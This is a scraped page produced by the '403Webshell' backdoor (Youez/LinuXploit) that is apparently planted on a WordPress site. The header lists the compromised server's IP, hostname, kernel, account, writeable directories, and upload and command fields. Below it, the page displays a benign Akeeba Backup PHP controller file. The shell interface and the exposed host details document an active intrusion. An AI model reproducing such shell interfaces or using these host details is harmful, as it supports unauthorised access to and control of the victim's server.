403Webshell
Server IP : 81.19.159.101  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux www58.world4you.com 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : ftp8817043 ( 2681)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/.sites/103/site8817043/web/wp-content/plugins/akeebabackupwp/app/Solo/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/.sites/103/site8817043/web/wp-content/plugins/akeebabackupwp/app/Solo/Controller/S3import.php
<?php
/**
 * @package   solo
 * @copyright Copyright (c)2014-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Solo\Controller;


use Awf\Text\Text;

class S3import extends ControllerDefault
{
	public function main()
	{
		$s3bucket = $this->input->get('s3bucket', null, 'raw');

		/** @var \Solo\Model\S3import $model */
		$model = $this->getModel();

		$model->getS3Credentials();

		if (!empty($s3bucket))
		{
			$model->setState('s3bucket', $s3bucket);
		}

		$this->display();
	}

	/**
	 * Fetches a complete backup set from a remote storage location to the local (server)
	 * storage so that the user can download or restore it.
	 */
	public function dltoserver()
	{
		$s3bucket = $this->input->get('s3bucket', null, 'raw');

		/** @var \Solo\Model\S3import $model */
		$model = $this->getModel();

		if ($s3bucket)
		{
			$model->setState('s3bucket', $s3bucket);
		}

		$model->getS3Credentials();
		$model->setS3Credentials(
			$model->getState('s3access'), $model->getState('s3secret')
		);

		// Set up the model's state
		$session = $this->container->segment;

		$part = $this->input->getInt('part', -999);

		if ($part >= -1)
		{
			$model->setState('part', $part);
		}

		$frag = $this->input->getInt('frag', -999);

		if ($frag >= -1)
		{
			$model->setState('frag', $frag);
		}

		$step = $this->input->getInt('step', -999);

		if ($step >= -1)
		{
			$model->setState('step', $step);
		}

		$router = $this->container->router;
		$returnUrl = $router->route('index.php?view=s3import');

		try
		{
			$result = $model->downloadToServer();

			if ($result === true)
			{
				// Part(s) downloaded successfully. Render the view.
				$this->display();
			}
			else
			{
				// All done. Redirect to intial page with a success message.
				$this->setRedirect($returnUrl, Text::_('COM_AKEEBA_S3IMPORT_MSG_IMPORTCOMPLETE'));
			}
		}
		catch (\Exception $e)
		{
			$this->setRedirect($returnUrl, $e->getMessage(), 'error');
		}
	}
} 

Youez - 2016 - github.com/yon3zu
LinuXploit